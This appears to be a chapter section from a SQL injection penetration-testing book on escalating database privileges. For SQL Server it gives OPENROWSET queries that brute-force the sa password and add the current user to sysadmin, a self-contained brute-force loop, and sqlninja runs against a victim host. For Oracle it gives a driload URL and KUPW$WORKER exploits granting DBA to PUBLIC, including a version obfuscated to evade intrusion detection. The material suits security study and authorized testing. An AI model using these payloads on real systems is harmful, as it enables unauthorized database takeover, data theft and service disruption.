Exploiting SQL Injection : Escalating Privileges

All modern DBMSs provide their administrators with very granular control over the actions that users can perform. You can carefully manage and control access to the stored information by giving each user very specific rights, such as the ability to access only specific databases and perform only specific actions on it. Maybe the back-end DBMS that you are attacking has several databases, but the user who performs your queries might have access to only one of them, which might not contain the most interesting information. Or maybe your user has only read access to the data, but the aim of your test is to check whether data can be modified in an unauthorized manner.

In other words, you have to deal with the fact that the user performing the queries is just a regular user, whose privileges are far lower compared to the DBA’s.

Due to the limitations of regular users, and to fully unleash the potential of several of the attacks you have seen so far, you will need to obtain access as an administrator. Luckily for us, in several cases it is possible to obtain these elevated privileges.

SQL Server

One of an attacker’s best friends when the target is Microsoft SQL Server is the OPENROWSET command. OPENROWSET is used on SQL Server to perform a one-time connection to a remote OLE DB data source (e.g., another SQL server). A DBA can use it, for instance, to retrieve data that resides on a remote database, as an alternative to permanently “linking” the two databases, which is better suited to cases when the data exchange needs to be performed on a regular basis. A typical way to call OPENROWSET is as follows:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=10.0.2.2;
  uid=foo; pwd=password', 'SELECT column1 FROM tableA')

Here we connected to the SQL server at the address 10.0.2.2 as user foo, and we ran the query select column1 from tableA, whose results will be transferred back and returned by the outermost query. Note that ‘foo’ is a user of the database at address 10.0.2.2 and not of the database where OPENROWSET is first executed. Note also that to successfully perform the query as user ‘foo’ we must successfully authenticate, providing the correct password.

OPENROWSET has a number of applications in SQL injection attacks, and in this case we can use it to brute-force the password of the sa account. There are three important bits to remember here:

  • For the connection to be successful, OPENROWSET must provide credentials that are valid on the database on which the connection is performed.

  • OPENROWSET can be used not only to connect to a remote database, but also to perform a local connection, in which case the query is performed with the privileges of the user specified in the OPENROWSET call.

  • On SQL Server 2000, OPENROWSET can be called by all users. On SQL Server 2005, it is disabled by default.

This means that on SQL Server 2000 you can use OPENROWSET to brute-force the sa password and escalate your privileges. For example, take a look at the following query:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;
   Address=;uid=sa;pwd=foo', 'select 1')

foo is the correct password, the query will run and return 1, whereas if the password is incorrect, you will receive a message such as the following:

Login failed for user 'sa'.

It seems that you now have a way to brute-force the sa password! Fire off your favorite word list and keep your fingers crossed. If you find the correct password, you can easily escalate privileges by adding your user (which you can find with system_user) to the sysadmin group using the sp_addsrvrolemember procedure, which takes as parameters a user and a group to add the user to (in this case, obviously, sysadmin):

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;
   Address=;uid=sa;pwd=passw0rd', 'SELECT 1; EXEC
   master.dbo.sp_addsrvrolemember ''appdbuser'',''sysadmin''')

The SELECT 1 in the inner query is necessary because OPENROWSET expects to return at least one column. To retrieve the value of system_user, you can use one of the techniques that you saw earlier (e.g., casting its value to a numeric variable to trigger an error) or, if the application does not return enough information directly. Alternatively, you can inject the following query, which will perform the whole process in only one request, by constructing a string @q containing the OPENROWSET query and the correct username, and then executing that query by passing @q to the xp_execresultset extended procedure, which on SQL Server 2000 can be called by all users.

DECLARE @q nvarchar(999);
SET @q = N'SELECT 1 FROM OPENROWSET(''SQLOLEDB'', ''Network=DBMSSOCN;
     Address=;uid=sa;pwd=passw0rd'',''SELECT 1; EXEC
     master.dbo.sp_addsrvrolemember '''''+system_user+''''',''''sysadmin'''''')';
EXEC master.dbo.xp_execresultset @q, N'master'
					  
Warning

Remember that the sa account works only if mixed authentication is enabled on the target SQL server. When mixed authentication is used, both Windows users and local SQL Server users (such as sa) can authenticate to the database. However, if Windows-only authentication is configured on the remote database server, only Windows users will be able to access the database and the sa account will not be available. You could technically attempt to brute-force the password of a Windows user who has administrative access (if you know the user’s name), but you might block the account if a lockout policy is in place, so proceed with caution in that case.

To detect which of the two possible authentication modes is in place (and therefore whether the attack can be attempted) you can inject the following code:

select serverproperty('IsIntegratedSecurityOnly')

This query will return 1 if Windows-only authentication is in place, and 0 otherwise.

Of course, it would be impractical to perform a brute-force attack by hand. Putting together a script that does the job in an automated way is not a big task, but there are already free tools out there that implement the whole process, such as Bobcat, Burp Intruder, and sqlninja . We will use sqlninja (which you can download at http://sqlninja.sourceforge.net) for an example of this attack. First we check whether we have administrative privileges (the output has been reduced to the most important parts):

    icesurfer@nightblade ~ $ ./sqlninja -m fingerprint
    Sqlninja rel. 0.2.3–r1
    Copyright (C) 2006–2008 icesurfer <r00t@northernfortress.net>
    [+] Parsing configuration file...........
    [+] Target is: www.victim.com
    What do you want to discover ?

      0 – Database version (2000/2005)
      1 – Database user
      2 – Database user rights
      3 – Whether xp_cmdshell is working
  > 2
     [+] Checking whether user is member of sysadmin server role…
     You are not an administrator.

Sqlninja uses a WAITFOR DELAY to check whether the current user is a member of the sysadmin group, and the answer is negative. We therefore feed sqlninja with a word list (the file wordlist.txt) and launch it in brute-force mode:

icesurfer@nightblade ~ $ ./sqlninja -m bruteforce -w wordlist.txt
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file...........
[+] Target is: www.victim.com
[+] Wordlist has been specified: using dictionary-based bruteforce
[+] Bruteforcing the sa password. This might take a while
  dba password is…: s3cr3t
bruteforce took 834 seconds
[+] Trying to add current user to sysadmin group
[+] Done! New connections will be run with administrative privileges!

Bingo! It seems that sqlninja found the right password, and used it to add the current user to the sysadmin group, as we can easily check by rerunning sqlninja in fingerprint mode:

icesurfer@nightblade ~ $ ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer <r00t@northernfortress.net>
[+] Parsing configuration file...........
[+] Target is: 192.168.240.10
What do you want to discover ?

  0 – Database version (2000/2005)
  1 – Database user
  2 – Database user rights
> 2
 [+] Checking whether user is member of sysadmin server role…
   You are an administrator !

It worked! Our user now is an administrator, which opens up a lot of new scenarios.

Tools & Traps…

Using the Database’s Own Resources to Brute-Force

The attack we just discussed performs one request to the back-end database for each candidate password. This means that a very large number of requests will be performed, and this in turn means that a significant amount of network resources will be needed with a large number of entries appearing on the Web server and database server logs. However, this is not the only way that a brute-force attack can be performed: Using a bit of SQL magic, it is possible to inject a single query that independently performs the whole brute-force attack. The concept was first introduced by Chris Anley in his paper “(more) Advanced SQL injection” back in 2002, and it was then implemented by Bobcat and sqlninja.

Bobcat, available at www.northern-monkee.co.uk, runs on Windows and uses a dictionary-based approach, injecting a query that performs an out-of-band (OOB) connection to the attacker’s database server to fetch a table containing a list of candidate passwords and then try them locally.

Sqlninja, when implementing this concept, uses a pure brute-force approach, injecting a query that tries every password that can be generated with a given charset and a given length. Here is an example of an attack query used by sqlninja for a password of two characters on SQL Server 2000:

declare @p nvarchar(99),@z nvarchar(10),@s nvarchar(99), @a
    int, @b int, @q nvarchar (4000);
set @a=1; set @b=1;
set @s=N'abcdefghijklmnopqrstuvwxyz0123456789';
while @a<37 begin
  while @b<37 begin
    set @p=N''; -- We reset the candidate password;
    set @z = substring(@s,@a,1); set @p=@p+@z;
    set @z = substring(@s,@b,1); set @p=@p+@z;
    set @q=N'select 1 from OPENROWSET(''SQLOLEDB'',
             ''Network=DBMSSOCN; Address=;uid=sa;pwd='+@p+N''',
             ''select 1; exec master.dbo.sp_addsrvrolemember
             ''''' + system_user + N''''', ''''sysadmin'''' '')';
    exec master.dbo.xp_execresultset @q,N'master';
  set @b=@b+1; end;
set @b=1; set @a=@a+1; end;


What happens here? We start storing our character set in the variable @s, which in this case contains letters and numbers but could be extended to other symbols (if it contains single quotes, the code will need to make sure they are correctly escaped). Then we create two nested cycles, controlled by the variables @a and @b that work as pointers to the character set and are used to generate each candidate password. When the candidate password is generated and stored in the variable @p, OPENROWSET is called, trying to execute sp_addsrvrolemember to add the current user (system_user) to the administrative group (sysadmin). To avoid the query stopping in case of unsuccessful authentication of OPENROWSET, we store the query into the variable @q and execute it with xp_execresultset.

It might look a bit complicated, but if the administrative password is not very long it is a very effective way for an attacker to escalate his privileges. Moreover, the brute-force attack is performed by using the database server’s own CPU resources, making it a very elegant way to perform a privilege escalation.

However, be very careful when using this technique against a production environment, as it can easily push the CPU usage of the target system up to 100 percent for the whole time, possibly decreasing the quality of services for legitimate users.

 

As you have seen, OPENROWSET is a very powerful and flexible command that can be abused in different ways, from transferring data to the attacker’s machine to attempting a privilege escalation. This is not all, however: OPENROWSET can also be used to look for SQL Server installations that have weak passwords. Have a look at the following query:

SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN; Address=10.0.0.1;
  uid=sa; pwd=', 'SELECT 1')
 

This query will attempt to authenticate to an SQL server at the address 10.0.0.1 as sa using an empty password. It is quite easy to create a cycle that will try such queries on all of the IP addresses of a network segment, saving the results in a temporary table that you can extract at the end of the process using one of the methods you have seen so far.

Privilege Escalation on Unpatched Servers

Even if OPENROWSET is probably the most common privilege escalation vector on SQL Server, it is not the only one: If your target database server is not fully updated with the latest security patches, it might be vulnerable to one or more well-known attacks.

Sometimes network administrators do not have the resources to ensure that all the servers on their networks are constantly updated. Other times, they simply lack the awareness to do so. Yet other times, if the server is particularly critical and the security fix has not been carefully tested in an isolated environment, the update process could be kept on hold for days or even weeks, leaving the attacker with a window of opportunity. In these cases, a precise fingerprinting of the remote server is paramount in determining which flaws might be present and whether they can be safely exploited.

At the time of this writing, the latest vulnerability affecting SQL Server 2000 and 2005 (but not SQL Server 2008) is a heap overflow found by Bernhard Mueller in the sp_replwritetovarbin stored procedure. Disclosed in December 2008, it enables you to run arbitrary code with administrative privileges on the affected host; exploit code was made publicly available shortly after the vulnerability was published. Also at the time of this writing, no security fix had yet been released, and the only workaround is to remove the vulnerable stored procedure. You can exploit the vulnerability through SQL injection by injecting a malicious query that calls sp_replwritetovarbin, overflowing the memory space and executing the malicious shell code. However, a failed exploitation can cause a denial of service (DoS) condition, so be careful if you attempt this attack! More information about this vulnerability is available at www.securityfocus.com/bid/32710.

Oracle

Privilege escalation via Web application SQL injection in Oracle is quite difficult because most approaches for privilege escalation attacks require PL/SQL injection, which is less common. If an attacker is lucky enough to find a PL/SQL injection vulnerability, he can inject PL/SQL code to escalate privileges and/or start operating system commands on the database server.

One example not requiring PL/SQL injection uses a vulnerability found in the Oracle component mod_plsql. The following URL shows a privilege escalation via the driload package (found by Alexander Kornbrust). This package was not filtered by mod_plsql and allowed any Web user a privilege escalation by entering the following URL:

http://www.victim.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=
     GRANT+DBA+TO+PUBLIC

Privilege escalation on the SQL interface is much easier. Most privilege escalation exploits (many available on milw0rm.com) use the following concept:

  1. Create a payload which grants DBA privileges to the public role. This is less obvious than granting DBA privileges to a specific user. This payload will be injected into a vulnerable PL/SQL procedure in the next step.

    CREATE OR REPLACE FUNCTION F1 return number
    authid current_user as
    pragma autonomous_transaction;
    BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
    COMMIT;
    RETURN 1;
    END;
    /
  2. Inject the payload into a vulnerable package:

    exec sys.kupw$WORKER.main('x','YY'' and 1=user12.f1 -- mytag12');
  3. Enable the DBA role:

    set role DBA;
  4. Revoke the DBA role from the public role:

    revoke DBA from PUBLIC;

The current session still has DBA privileges, but this will no longer be visible in the Oracle privilege tables.

One of the disadvantages of this approach is the requirement of having the CREATE PROCEDURE privilege. David Litchfield presented a solution to this problem at the BlackHat DC conference. Instead of using a procedure, it is possible to use a cursor. The exploit approach is identical; however, the function is replaced by a cursor as follows:

and 1=user1.f1

The preceding code is replaced with the following:

and 1=dbms_sql.execute(1)

The complete exploit without using a procedure looks like this:

DECLARE
MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(MYC,
'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to public''; commit;end;',0);
  sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('||myc||')--');
END;
/
set role dba;
revoke dba from public;

Note that to evade intrusion detection systems (IDSs) it is possible to encrypt the payload of the exploit—say, encrypting “…grant dba to public…” as follows:

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,translate('uzikpsz fsprjp pnmghgjgna_msphapimwgh) ozrwh zczinmz
wjjzuwpmz (rsphm uop mg fnokwi()igjjwm)zhu)',
'poiuztrewqlkjhgfdsamnbvcxy()=!','abcdefghijklmnopqrstuvwxyz'';:='),0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute ('||myc||')--');
END;
/
set role dba;
revoke dba from public;